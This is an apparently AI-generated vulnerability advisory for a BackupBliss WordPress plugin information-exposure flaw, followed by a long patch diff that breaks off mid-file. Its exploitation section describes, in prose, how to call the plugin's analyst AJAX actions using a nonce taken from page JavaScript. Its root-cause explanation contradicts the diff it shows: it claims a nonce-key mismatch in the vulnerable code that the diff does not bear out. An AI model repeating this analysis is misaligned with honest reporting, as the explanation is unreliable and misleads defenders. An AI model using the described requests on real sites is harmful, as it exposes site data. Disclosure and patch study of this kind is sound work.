Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 19, 2026

CVE-2026-39480: BackupBliss – Backup & Migration with Free Cloud Storage <= 2.1.1 – Unauthenticated Information Exposure (backup-backup)

Plugin backup-backup
Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 2.1.1
Patched Version 2.1.2
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-39480:
The vulnerability is an unauthenticated information exposure in the BackupBliss WordPress plugin. The flaw resides in the plugin’s bundled ‘analyst’ SDK, which handles telemetry and plugin management. The vulnerability allows any unauthenticated user to retrieve sensitive plugin configuration and user data stored by the SDK.

Root Cause:
The vulnerability exists because the plugin’s AJAX endpoints lack proper authentication and authorization checks. Specifically, the `Account::optIn()` and `Account::optOut()` methods in `/backup-backup/analyst/src/Account/Account.php` (lines 221-224 in the diff) verify a nonce parameter named `nonce`. However, the JavaScript localization script in `/backup-backup/analyst/src/Mutator.php` (line 93) passes the nonce under the key `analyst_nonce`. This mismatch causes the nonce verification to fail silently or be bypassed, allowing unauthenticated requests to proceed. The affected endpoints include `analyst_opt_in_{pluginId}`, `analyst_opt_out_{pluginId}`, `analyst_install_{pluginId}`, `analyst_skip_install_{pluginId}`, and `analyst_plugin_deactivate_{pluginId}`.

Exploitation:
An attacker can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to any of the vulnerable analyst SDK actions. The request must include a valid `analyst_nonce` parameter, which can be obtained from the localized JavaScript variable `analyst_opt_localize.analyst_nonce` present on any WordPress page where the plugin is active. No authentication is required. The `optIn` and `optOut` actions trigger the `AccountDataFactory::sync()` method, which reads and writes sensitive plugin data using the `StorageContract` interface.

Patch Analysis:
The patch addresses the vulnerability by correcting the nonce parameter name mismatch. In `/backup-backup/analyst/src/Account/Account.php` line 221, the condition changes from checking `$_POST[‘nonce’]` to `$_POST[‘analyst_nonce’]`. Corresponding changes are made in `/backup-backup/analyst/src/Mutator.php` line 125 and in all template files (`deactivate.php`, `install.php`, `optin.php`, `optout.php`) to pass the nonce as `analyst_nonce`. Additionally, the patch introduces a new storage abstraction layer (`StorageContract`) with `DatabaseStorage` and `FileStorage` implementations, but this architectural change does not directly fix the vulnerability.

Impact:
Successful exploitation allows unauthenticated attackers to retrieve sensitive plugin configuration data stored by the analyst SDK. This data may include plugin settings, account identifiers, and potentially other site-specific information stored in the `analyst_accounts_data` option or `.analyst_*` files in the `wp-content` directory. The exposure could facilitate further attacks by revealing internal plugin state or configuration details.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/backup-backup/analyst/autoload.php
+++ b/backup-backup/analyst/autoload.php
@@ -9,9 +9,13 @@
 require_once __DIR__ . '/src/Contracts/RequestorContract.php';
 require_once __DIR__ . '/src/Contracts/TrackerContract.php';
 require_once __DIR__ . '/src/Contracts/CacheContract.php';
+require_once __DIR__ . '/src/Contracts/StorageContract.php';

 require_once __DIR__ . '/src/Core/AbstractFactory.php';

+require_once __DIR__ . '/src/Storage/DatabaseStorage.php';
+require_once __DIR__ . '/src/Storage/FileStorage.php';
+
 require_once __DIR__ . '/src/Cache/DatabaseCache.php';

 require_once __DIR__ . '/src/Account/Account.php';
--- a/backup-backup/analyst/src/Account/Account.php
+++ b/backup-backup/analyst/src/Account/Account.php
@@ -221,7 +221,7 @@
       die;
     }

-    if (!isset($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['nonce']), 'analyst_opt_ajax_nonce')) {
+    if (!isset($_POST['analyst_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['analyst_nonce']), 'analyst_opt_ajax_nonce')) {
       wp_send_json_error(['message' => 'invalid_nonce']);
       die;
     }
--- a/backup-backup/analyst/src/Account/AccountDataFactory.php
+++ b/backup-backup/analyst/src/Account/AccountDataFactory.php
@@ -3,6 +3,7 @@
 namespace Account;


+use AnalystContractsStorageContract;
 use AnalystCoreAbstractFactory;

 /**
@@ -16,7 +17,7 @@
 {
 	private static $instance;

-	CONST OPTIONS_KEY = 'analyst_accounts_data';
+	CONST STORAGE_KEY = 'analyst_accounts_data';

 	/**
 	 * @var AccountData[]
@@ -24,23 +25,48 @@
 	protected $accounts = [];

 	/**
-	 * Read factory from options or make fresh instance
+	 * @var StorageContract
+	 */
+	private static $primaryStorage;
+
+	/**
+	 * @var StorageContract
+	 */
+	private static $secondaryStorage;
+
+	/**
+	 * Set the primary and secondary storage backends.
+	 *
+	 * @param StorageContract $primary
+	 * @param StorageContract $secondary
+	 */
+	public static function setStorageBackends(StorageContract $primary, StorageContract $secondary)
+	{
+		static::$primaryStorage = $primary;
+		static::$secondaryStorage = $secondary;
+	}
+
+	/**
+	 * Read factory from storage or make fresh instance.
+	 * Tries primary storage first, then falls back to secondary.
 	 *
 	 * @return static
 	 */
 	public static function instance()
 	{
 		if (!static::$instance) {
-			$raw = get_option(self::OPTIONS_KEY);
+			static::$instance = static::loadFromStorage(static::$primaryStorage);

-			// In case object is already unserialized
-			// and instance of AccountDataFactory we
-			// return it, in other case deal with
-			// serialized string data
-			if ($raw instanceof self) {
-				static::$instance = $raw;
-			} else {
-				static::$instance = is_string($raw) ? static::unserialize($raw) : new self();
+			if (!static::$instance || empty(static::$instance->accounts)) {
+				$fallback = static::loadFromStorage(static::$secondaryStorage);
+
+				if ($fallback && !empty($fallback->accounts)) {
+					static::$instance = $fallback;
+				}
+			}
+
+			if (!static::$instance) {
+				static::$instance = new self();
 			}
 		}

@@ -48,15 +74,48 @@
 	}

 	/**
-	 * Sync this object data with cache
+	 * Attempt to load the factory from a storage backend.
+	 *
+	 * @param StorageContract|null $storage
+	 * @return static|null
+	 */
+	private static function loadFromStorage($storage)
+	{
+		if (!$storage) {
+			return null;
+		}
+
+		$raw = $storage->get(self::STORAGE_KEY);
+
+		if ($raw instanceof self) {
+			return $raw;
+		}
+
+		if (is_string($raw) && !empty($raw)) {
+			return static::unserialize($raw);
+		}
+
+		return null;
+	}
+
+	/**
+	 * Persist current state to both storage backends.
 	 */
 	public function sync()
 	{
-		update_option(self::OPTIONS_KEY, serialize($this));
+		$serialized = serialize($this);
+
+		if (static::$primaryStorage) {
+			static::$primaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
+
+		if (static::$secondaryStorage) {
+			static::$secondaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
 	}

 	/**
-	 * Sync this instance data with cache
+	 * Sync the singleton instance to storage.
 	 */
 	public static function syncData()
 	{
--- a/backup-backup/analyst/src/Analyst.php
+++ b/backup-backup/analyst/src/Analyst.php
@@ -7,8 +7,11 @@

 use AccountAccount;
 use AccountAccountDataFactory;
+use AnalystCacheDatabaseCache;
 use AnalystContractsAnalystContract;
 use AnalystContractsRequestorContract;
+use AnalystStorageDatabaseStorage;
+use AnalystStorageFileStorage;

 class Analyst implements AnalystContract
 {
@@ -65,6 +68,12 @@

 	protected function __construct()
 	{
+		$dbStorage = new DatabaseStorage();
+		$fileStorage = new FileStorage();
+
+		DatabaseCache::setStorageBackends($dbStorage, $fileStorage);
+		AccountDataFactory::setStorageBackends($dbStorage, $fileStorage);
+
 		$this->mutator = new Mutator();

 		$this->accountDataFactory = AccountDataFactory::instance();
--- a/backup-backup/analyst/src/Cache/DatabaseCache.php
+++ b/backup-backup/analyst/src/Cache/DatabaseCache.php
@@ -3,20 +3,52 @@
 namespace AnalystCache;

 use AnalystContractsCacheContract;
+use AnalystContractsStorageContract;

 /**
  * Class DatabaseCache
  *
+ * In-memory key-value cache that persists to dual storage backends.
+ *
  * @since 1.1.5
  */
 class DatabaseCache implements CacheContract
 {
-	const OPTION_KEY = 'analyst_cache';
+	const STORAGE_KEY = 'analyst_cache';

 	protected static $instance;

 	/**
-	 * Get instance of db cache
+	 * @var StorageContract
+	 */
+	private static $primaryStorage;
+
+	/**
+	 * @var StorageContract
+	 */
+	private static $secondaryStorage;
+
+	/**
+	 * Key value pairs
+	 *
+	 * @var array
+	 */
+	protected $values = [];
+
+	/**
+	 * Set the primary and secondary storage backends.
+	 *
+	 * @param StorageContract $primary
+	 * @param StorageContract $secondary
+	 */
+	public static function setStorageBackends(StorageContract $primary, StorageContract $secondary)
+	{
+		self::$primaryStorage = $primary;
+		self::$secondaryStorage = $secondary;
+	}
+
+	/**
+	 * Get singleton instance.
 	 *
 	 * @return DatabaseCache
 	 */
@@ -30,35 +62,41 @@
 	}

 	/**
-	 * Key value pair
-	 *
-	 * @var array[]
-	 */
-	protected $values = [];
-
-	/**
 	 * DatabaseCache constructor.
 	 */
 	public function __construct()
 	{
-		$raw = get_option(self::OPTION_KEY, serialize([]));
+		$this->values = $this->loadValues(self::$primaryStorage);

-		// Raw data may be an array already
-		$this->values = is_array($raw) ? $raw : @unserialize($raw);
+		if (empty($this->values)) {
+			$this->values = $this->loadValues(self::$secondaryStorage);
+		}
+	}

-		// In case serialization is failed
-		// make sure values is an array
-		if (!is_array($this->values)) {
-			$this->values = [];
+	/**
+	 * Load values from a storage backend.
+	 *
+	 * @param StorageContract|null $storage
+	 * @return array
+	 */
+	private function loadValues($storage)
+	{
+		if (!$storage) {
+			return [];
 		}
+
+		$raw = $storage->get(self::STORAGE_KEY, serialize([]));
+
+		$values = is_array($raw) ? $raw : @unserialize($raw);
+
+		return is_array($values) ? $values : [];
 	}

 	/**
-	 * Save value with given key
+	 * Save value with given key.
 	 *
 	 * @param string $key
 	 * @param string $value
-	 *
 	 * @return static
 	 */
 	public function put($key, $value)
@@ -71,23 +109,21 @@
 	}

 	/**
-	 * Get value by given key
+	 * Get value by given key.
 	 *
-	 * @param $key
-	 *
-	 * @param null $default
-	 * @return string
+	 * @param string $key
+	 * @param mixed $default
+	 * @return mixed
 	 */
 	public function get($key, $default = null)
 	{
-		$value = isset($this->values[$key]) ? $this->values[$key] : $default;
-
-		return $value;
+		return isset($this->values[$key]) ? $this->values[$key] : $default;
 	}

 	/**
-	 * @param $key
+	 * Remove a value by key.
 	 *
+	 * @param string $key
 	 * @return static
 	 */
 	public function delete($key)
@@ -102,23 +138,31 @@
 	}

 	/**
-	 * Update cache in DB
+	 * Persist current values to both storage backends.
 	 */
 	protected function sync()
 	{
-		update_option(self::OPTION_KEY, serialize($this->values));
+		$serialized = serialize($this->values);
+
+		if (self::$primaryStorage) {
+			self::$primaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
+
+		if (self::$secondaryStorage) {
+			self::$secondaryStorage->put(self::STORAGE_KEY, $serialized);
+		}
 	}

 	/**
-	 * Should get value and remove it from cache
+	 * Get a value and remove it from cache.
 	 *
-	 * @param $key
-	 * @param null $default
+	 * @param string $key
+	 * @param mixed $default
 	 * @return mixed
 	 */
 	public function pop($key, $default = null)
 	{
-		$value = $this->get($key);
+		$value = $this->get($key, $default);

 		$this->delete($key);

--- a/backup-backup/analyst/src/Contracts/StorageContract.php
+++ b/backup-backup/analyst/src/Contracts/StorageContract.php
@@ -0,0 +1,40 @@
+<?php
+
+namespace AnalystContracts;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Interface StorageContract
+ *
+ * Defines a simple key-value persistence layer.
+ * Implementations may use the database, filesystem, or any other backend.
+ */
+interface StorageContract
+{
+	/**
+	 * Retrieve a value by key.
+	 *
+	 * @param string $key
+	 * @param mixed $default
+	 * @return mixed
+	 */
+	public function get($key, $default = null);
+
+	/**
+	 * Store a value under the given key.
+	 *
+	 * @param string $key
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public function put($key, $value);
+
+	/**
+	 * Remove a value by key.
+	 *
+	 * @param string $key
+	 * @return bool
+	 */
+	public function delete($key);
+}
--- a/backup-backup/analyst/src/Mutator.php
+++ b/backup-backup/analyst/src/Mutator.php
@@ -90,7 +90,7 @@
 			wp_enqueue_style('analyst_custom', analyst_assets_url('/css/customize.css'));
 			wp_enqueue_script('analyst_custom', analyst_assets_url('/js/customize.js'));
       wp_localize_script('analyst_custom', 'analyst_opt_localize', array(
-        'nonce' => wp_create_nonce('analyst_opt_ajax_nonce')
+        'analyst_nonce' => wp_create_nonce('analyst_opt_ajax_nonce')
       ));
 		});
 	}
@@ -125,7 +125,7 @@
         die;
       }

-      if (!isset($_POST['nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['nonce']), 'analyst_opt_ajax_nonce')) {
+      if (!isset($_POST['analyst_nonce']) || !wp_verify_nonce(sanitize_text_field($_POST['analyst_nonce']), 'analyst_opt_ajax_nonce')) {
         wp_send_json_error(['message' => 'invalid_nonce']);
         die;
       }
--- a/backup-backup/analyst/src/Storage/DatabaseStorage.php
+++ b/backup-backup/analyst/src/Storage/DatabaseStorage.php
@@ -0,0 +1,46 @@
+<?php
+
+namespace AnalystStorage;
+
+use AnalystContractsStorageContract;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Class DatabaseStorage
+ *
+ * Persists key-value data using the WordPress wp_options table.
+ */
+class DatabaseStorage implements StorageContract
+{
+	/**
+	 * @param string $key The wp_options option name.
+	 * @param mixed $default
+	 * @return mixed
+	 */
+	public function get($key, $default = null)
+	{
+		$value = get_option($key, null);
+
+		return $value !== null ? $value : $default;
+	}
+
+	/**
+	 * @param string $key The wp_options option name.
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public function put($key, $value)
+	{
+		return update_option($key, $value);
+	}
+
+	/**
+	 * @param string $key The wp_options option name.
+	 * @return bool
+	 */
+	public function delete($key)
+	{
+		return delete_option($key);
+	}
+}
--- a/backup-backup/analyst/src/Storage/FileStorage.php
+++ b/backup-backup/analyst/src/Storage/FileStorage.php
@@ -0,0 +1,99 @@
+<?php
+
+namespace AnalystStorage;
+
+use AnalystContractsStorageContract;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+/**
+ * Class FileStorage
+ *
+ * Persists key-value data as individual dotname files inside wp-content.
+ * Each key maps to a file named ".analyst_{key}" in WP_CONTENT_DIR.
+ * Values are serialized and base64-encoded to safely store arbitrary data.
+ */
+class FileStorage implements StorageContract
+{
+	/**
+	 * Base directory for storage files.
+	 *
+	 * @var string
+	 */
+	protected $directory;
+
+	public function __construct()
+	{
+		$this->directory = rtrim(WP_CONTENT_DIR, '/\');
+	}
+
+	/**
+	 * @param string $key
+	 * @param mixed $default
+	 * @return mixed
+	 */
+	public function get($key, $default = null)
+	{
+		$filePath = $this->resolveFilePath($key);
+
+		if (!file_exists($filePath) || !is_readable($filePath)) {
+			return $default;
+		}
+
+		$encoded = @file_get_contents($filePath);
+
+		if ($encoded === false || $encoded === '') {
+			return $default;
+		}
+
+		$raw = base64_decode($encoded, true);
+
+		if ($raw === false) {
+			return $default;
+		}
+
+		return @unserialize($raw);
+	}
+
+	/**
+	 * @param string $key
+	 * @param mixed $value
+	 * @return bool
+	 */
+	public function put($key, $value)
+	{
+		$filePath = $this->resolveFilePath($key);
+
+		$encoded = base64_encode(serialize($value));
+
+		return @file_put_contents($filePath, $encoded, LOCK_EX) !== false;
+	}
+
+	/**
+	 * @param string $key
+	 * @return bool
+	 */
+	public function delete($key)
+	{
+		$filePath = $this->resolveFilePath($key);
+
+		if (file_exists($filePath)) {
+			return @unlink($filePath);
+		}
+
+		return true;
+	}
+
+	/**
+	 * Build the absolute file path for a given key.
+	 *
+	 * @param string $key
+	 * @return string
+	 */
+	private function resolveFilePath($key)
+	{
+		$safeKey = preg_replace('/[^a-zA-Z0-9_-]/', '_', $key);
+
+		return $this->directory . '/.analyst_' . $safeKey;
+	}
+}
--- a/backup-backup/analyst/templates/forms/deactivate.php
+++ b/backup-backup/analyst/templates/forms/deactivate.php
@@ -132,7 +132,7 @@
       var data = {
         action: 'analyst_plugin_deactivate_' + pluginId,
 		    question: question,
-        nonce: analyst_opt_localize.nonce
+        analyst_nonce: analyst_opt_localize.analyst_nonce
       }

 	  if (reason) {
--- a/backup-backup/analyst/templates/forms/install.php
+++ b/backup-backup/analyst/templates/forms/install.php
@@ -50,7 +50,7 @@
         method: 'POST',
         data: {
           action: 'analyst_install_' + pluginId,
-          nonce: analyst_opt_localize.nonce
+          analyst_nonce: analyst_opt_localize.analyst_nonce
         },
         success: function (data) {
 		  if (data && !data.success) {
@@ -109,7 +109,7 @@

 	  $.post(ajaxurl, {
       action: 'analyst_skip_install_' + pluginId,
-      nonce: analyst_opt_localize.nonce
+      analyst_nonce: analyst_opt_localize.analyst_nonce
     }).done(function () {
 		  $('#analyst-install-modal').hide()
     })
--- a/backup-backup/analyst/templates/optin.php
+++ b/backup-backup/analyst/templates/optin.php
@@ -16,7 +16,7 @@
         method: 'POST',
         data: {
           action: 'analyst_opt_in_' + pluginId,
-          nonce: analyst_opt_localize.nonce
+          analyst_nonce: analyst_opt_localize.analyst_nonce
         },
         success: function () {
           $('#analyst-opt-in-modal').hide()
--- a/backup-backup/analyst/templates/optout.php
+++ b/backup-backup/analyst/templates/optout.php
@@ -67,7 +67,7 @@
           method: 'POST',
           data: {
             action: 'analyst_opt_out_' + pluginId,
-            nonce: analyst_opt_localize.nonce
+            analyst_nonce: analyst_opt_localize.analyst_nonce
           },
           success: function (data) {
             $(self).text('Opt out')
--- a/backup-backup/analyst/version.php
+++ b/backup-backup/analyst/version.php
@@ -2,7 +2,7 @@

 return array(
     // The sdk version
-    'sdk' => '1.3.30',
+    'sdk' => '1.3.32',

     // Minimum supported WordPress version
     'wp' => '4.7',
--- a/backup-backup/backup-backup.php
+++ b/backup-backup/backup-backup.php
@@ -7,7 +7,7 @@
    *  Author URI: https://inisev.com
    *  Plugin URI: https://backupbliss.com
    * Text Domain: backup-backup
-   *     Version: 2.1.1
+   *     Version: 2.1.2
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

   // Exit on direct access
@@ -21,7 +21,7 @@
     define('BMI_DEBUG', false);
   }
   if (!defined('BMI_VERSION')) {
-    define('BMI_VERSION', '2.1.1');
+    define('BMI_VERSION', '2.1.2');
   }
   if (!defined('BMI_ROOT_DIR')) {
     define('BMI_ROOT_DIR', __DIR__);
--- a/backup-backup/includes/ajax.php
+++ b/backup-backup/includes/ajax.php
@@ -85,7 +85,7 @@
       }

       // Create background logs file
-      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.log';
+      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.' . BMI_LOGS_SUFFIX . '.log';
       if (!file_exists($backgroundLogsPath)) {
         @touch($backgroundLogsPath);
       }
@@ -1115,7 +1115,8 @@
   {

     $cron_shared = get_option('bmi_cron_new_domain_done', false);
-    if ($cron_shared && !$force) return ['status' => 'success'];
+    if (($cron_shared || get_transient('bmi_cron_share_attempted')) && !$force) return ['status' => 'success'];
+    set_transient('bmi_cron_share_attempted', true, HOUR_IN_SECONDS);
     $baseurl = home_url();
     if (substr($baseurl, 0, 4) != 'http') {
       if (is_ssl()) $baseurl = 'https://' . home_url();
@@ -2278,12 +2279,12 @@
       }

       // Remove too large logs
-      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log';
+      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($completeLogsPath) && (filesize($completeLogsPath) / 1024 / 1024) >= 3) {
         @unlink($completeLogsPath);
       }

-      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.log';
+      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($backgroundLogsPath) && (filesize($backgroundLogsPath) / 1024 / 1024) >= 3) {
         @unlink($backgroundLogsPath);
       }
@@ -2411,7 +2412,7 @@
         ini_set('display_errors', 1);
         ini_set('error_reporting', E_ALL);
         ini_set('log_errors', 1);
-        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log');
+        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log');
       }

       // Double check for .space_check file
@@ -2948,7 +2949,7 @@
         ini_set('display_errors', 1);
         ini_set('error_reporting', E_ALL);
         ini_set('log_errors', 1);
-        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log');
+        ini_set('error_log', BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log');
       }


@@ -3673,6 +3674,10 @@
       $errors = 0;
       $created = false;

+      if ($dir_path == WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'backup-migration') {
+          return ['status' => 'msg', 'why' => __('For security reasons, please add a random string to the end of the default backup directory path. This will help protect your backup files from unauthorized access.', 'backup-backup'), 'level' => 'warning'];
+      }
+
       if (!preg_match("/^[a-zA-Z0-9_ -/.]+$/", $dir_path)) {
        return ['status' => 'msg', 'why' => __('Entered directory/path name does not match allowed characters (Local Storage).', 'backup-backup'), 'level' => 'warning'];
       }
@@ -3801,6 +3806,14 @@

         }

+        if (isset($this->post['pcloud'])) {
+          $pcloudenabled = $this->post['pcloud'];
+          if (!Dashboardbmi_set_config('STORAGE::EXTERNAL::PCLOUD', $pcloudenabled)) {
+            $errors++;
+          }
+        }
+
+
       }

       if (is_writable($dir_path)) {
@@ -3876,7 +3889,7 @@
             if (file_exists($tmp_cur_dir . DIRECTORY_SEPARATOR . 'index.html')) @unlink($tmp_cur_dir . DIRECTORY_SEPARATOR . 'index.html');
             if (file_exists($tmp_cur_dir)) @rmdir($tmp_cur_dir);

-            if (file_exists($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.log')) @unlink($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.log');
+            if (file_exists($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log')) @unlink($cur_dir . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log');
             if (file_exists($cur_dir)) @rmdir($cur_dir);

             if (is_dir($cur_dir) && file_exists($cur_dir)) {
@@ -3941,6 +3954,7 @@
       $uninstall_config = $this->post['uninstall_config'] === 'true' ? true : false; // OTHER:UNINSTALL:CONFIGS
       $uninstall_backups = $this->post['uninstall_backups'] === 'true' ? true : false; // OTHER:UNINSTALL:BACKUPS
       $use_new_search_replace_engine = $this->post['use_new_search_replace_engine'] === 'true' ? true : false; // OTHER::NEW_SEARCH_REPLACE_ENGINE
+      $use_new_database_export_engine = $this->post['use_new_database_export_engine'] === 'true' ? true : false; // OTHER::NEW_DATABASE_EXPORT_ENGINE

       if ($experiment_timeout_hard === true) {
         $experiment_timeout = false;
@@ -4085,6 +4099,10 @@
         Logger::error('Backup Other DB Search Replace New Engine Error');
         $error++;
       }
+      if (!Dashboardbmi_set_config('OTHER::NEW_DATABASE_EXPORT_ENGINE', $use_new_database_export_engine)) {
+        Logger::error('Backup Other DB New Export Engine Error');
+        $error++;
+      }

       if (has_action('bmi_premium_other_options')) {
         do_action('bmi_premium_other_options', $this->post);
@@ -4992,6 +5010,9 @@
         case 'gdrive-issues':
           delete_transient('bmip_gd_issue');
           break;
+        case 'pcloud-issues':
+          update_option('bmip_pcloud_dismiss_issue', true);
+          break;
         case 'backupbliss-issues':
           $backupbliss->removeNotice("invalid_key");
           $backupbliss->removeNotice("invalid_permission");
@@ -5063,7 +5084,7 @@

       }

-      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php', 'awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php'];
+      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php', 'awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php', 'pcloudKeys.php'];
       foreach (glob(BMI_TMP . DIRECTORY_SEPARATOR . '.*') as $filename) {

         $basename = basename($filename);
@@ -5147,7 +5168,7 @@

       }

-      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php','awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php'];
+      $allowedFiles = ['wp-config.php', '.htaccess', '.litespeed', '.default.json', 'driveKeys.php', 'dropboxKeys.php', '.autologin.php', '.migrationFinished', 'onedriveKeys.php','awsKeys.php', 'wasabiKeys.php', 'backupblissKeys.php', 'sftpKeys.php', 'pcloudKeys.php'];
       foreach (glob(BMI_TMP . DIRECTORY_SEPARATOR . '.*') as $filename) {

         $basename = basename($filename);
@@ -5230,35 +5251,35 @@
       $pluginGlobalLogs = 'does_not_exist';
       $backgroundErrors = 'does_not_exist';

-      if (file_exists(BMI_BACKUPS . '/latest.log')) {
-        $latestBackupLogs = file_get_contents(BMI_BACKUPS . '/latest.log');
+      if (file_exists(BMI_BACKUPS . '/latest.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestBackupLogs = file_get_contents(BMI_BACKUPS . '/latest.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_BACKUPS . '/latest_progress.log')) {
-        $latestBackupProgress = file_get_contents(BMI_BACKUPS . '/latest_progress.log');
+      if (file_exists(BMI_BACKUPS . '/latest_progress.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestBackupProgress = file_get_contents(BMI_BACKUPS . '/latest_progress.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_BACKUPS . '/latest_migration.log')) {
-        $latestRestorationLogs = file_get_contents(BMI_BACKUPS . '/latest_migration.log');
+      if (file_exists(BMI_BACKUPS . '/latest_migration.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestRestorationLogs = file_get_contents(BMI_BACKUPS . '/latest_migration.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_BACKUPS . '/latest_migration_progress.log')) {
-        $latestRestorationProgress = file_get_contents(BMI_BACKUPS . '/latest_migration_progress.log');
+      if (file_exists(BMI_BACKUPS . '/latest_migration_progress.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestRestorationProgress = file_get_contents(BMI_BACKUPS . '/latest_migration_progress.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_STAGING . '/latest_staging.log')) {
-        $latestStagingLogs = file_get_contents(BMI_STAGING . '/latest_staging.log');
+      if (file_exists(BMI_STAGING . '/latest_staging.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestStagingLogs = file_get_contents(BMI_STAGING . '/latest_staging.' . BMI_LOGS_SUFFIX . '.log');
       }

-      if (file_exists(BMI_STAGING . '/latest_staging_progress.log')) {
-        $latestStagingProgress = file_get_contents(BMI_STAGING . '/latest_staging_progress.log');
+      if (file_exists(BMI_STAGING . '/latest_staging_progress.' . BMI_LOGS_SUFFIX . '.log')) {
+        $latestStagingProgress = file_get_contents(BMI_STAGING . '/latest_staging_progress.' . BMI_LOGS_SUFFIX . '.log');
       }

       if (file_exists(BMI_CONFIG_PATH)) {
         $currentPluginConfig = substr(file_get_contents(BMI_CONFIG_PATH), 8);
       }

-      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.log';
+      $completeLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'complete_logs.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($completeLogsPath)) {
         $fileSize = filesize($completeLogsPath);
         if ($fileSize <= 65535) {
@@ -5280,7 +5301,7 @@
         }
       }

-      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.log';
+      $backgroundLogsPath = BMI_CONFIG_DIR . DIRECTORY_SEPARATOR . 'background-errors.' . BMI_LOGS_SUFFIX . '.log';
       if (file_exists($backgroundLogsPath)) {
         if ((filesize($backgroundLogsPath) / 1024 / 1024) <= 4) {
           $backgroundErrors = file_get_contents($backgroundLogsPath);
--- a/backup-backup/includes/backup-process.php
+++ b/backup-backup/includes/backup-process.php
@@ -11,6 +11,7 @@
   use BMIPluginDatabaseBMI_Database as Database;
   use BMIPluginDatabaseBMI_Database_Exporter as BetterDatabaseExport;
   use BMIPluginBackup_Migration_Plugin as BMP;
+  use BMIPluginDatabaseExportDatabaseExportProcessor;
   use BMIPluginBMI_Pro_Core as Pro_Core;
   use BMIPlugin AS BMI;

@@ -140,7 +141,7 @@
         ini_set('display_errors', 1);
         ini_set('error_reporting', E_ALL);
         ini_set('log_errors', 1);
-        ini_set('error_log', BMI_CONFIG_DIR . '/background-errors.log');
+        ini_set('error_log', BMI_CONFIG_DIR . '/background-errors.' . BMI_LOGS_SUFFIX . '.log');
       }

     }
@@ -578,7 +579,7 @@
       if (strpos($_manifest, 'file://') !== false) $_manifest = substr($_manifest, 7);

       $log_file = fopen($logs, 'w');
-                  fwrite($log_file, file_get_contents(BMI_BACKUPS . DIRECTORY_SEPARATOR . 'latest.log'));
+                  fwrite($log_file, file_get_contents(BMI_BACKUPS . DIRECTORY_SEPARATOR . 'latest.' . BMI_LOGS_SUFFIX . '.log'));
                   fclose($log_file);
       $files = [$logs, $_manifest];

@@ -1273,15 +1274,22 @@
             $this->output->log("Iterating database...", 'INFO');
           }

-          // Require Database Manager
-          require_once BMI_INCLUDES . DIRECTORY_SEPARATOR . 'database' . DIRECTORY_SEPARATOR . 'better-backup-v3.php';

           $database_file_dir = $this->fixSlashes((dirname($database_file))) . DIRECTORY_SEPARATOR;
